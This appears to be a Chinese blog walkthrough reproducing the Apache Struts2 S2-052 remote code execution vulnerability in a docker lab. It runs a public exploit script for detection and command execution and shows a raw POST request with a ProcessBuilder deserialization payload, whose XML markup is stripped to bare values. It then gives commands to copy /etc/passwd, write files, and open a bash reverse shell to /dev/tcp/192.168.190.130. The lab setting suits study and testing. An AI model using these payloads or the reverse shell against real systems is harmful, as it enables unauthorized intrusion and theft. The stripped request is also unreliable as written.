http s2.me ios.html,S2-052 漏洞复现

Structs2框架已知的漏洞编号如下:

S2-005

S2-009

S2-016 (含S2-013)

S2-019

S2-020

S2-021

S2-032

S2-037(含S2-033)

DevMode

S2-045

S2-046

S2-048

S2-052

S2-055

S2-057

访问 http://你的 IP 地址:端口号/

d687ee8c502ce8336c2ec6afd2b5666c.png

漏洞poc检测与利用

poc下载:

检测到漏洞存在:

python apache-struts-pwn.py -u 'http://192.168.190.135:8080/orders/3/edit'

0855f11d9c08aafe8570ad16453ff315.png

漏洞利用写入文件

python apache-struts-pwn.py --exploit --url 'http://example.com/struts2-showcase/index.action' -c 'echo test > /tmp/apache-struts-pwn'

POST /orders/3 HTTP/1.1

Host: 192.168.190.135:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/xml

Content-Length: 2415

Connection: close

Referer: http://192.168.190.135:8080/orders/3/edit

Cookie: JSESSIONID=8FCB55C3A30CB6059D3530A01C3E6FA0

Upgrade-Insecure-Requests: 1

DNT: 1

0

false

0

touch

/tmp/success

false

java.lang.ProcessBuilder

start

foo

foo

false

0

0

false

false

0

c53d0aa1c79f54d434e2cbeaa9617380.png

de2828e3f859da25015fcd24876f1e8f.png

43d2562349b262b515c91d999789d68a.png

以上数据包成功执行的话,会在docker容器内创建文件/tmp/success,

执行docker-compose exec struts2 ls /tmp/即可看到。

docker-compose exec struts2 ls /tmp/

55d8a21509f795743d8e6023100b1693.png

读文件:

cp/etc/passwd/tmp/passwd

写文件:

bash

-c

echo micr067 > /tmp/test.txt

14dca218120030cb89c612f4ae499e42.png

反弹shell:

bash-cbash -i >&; /dev/tcp/192.168.190.130/1521 0>&;1

128e6e7216156404adf214156b762ec2.png

参考链接:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值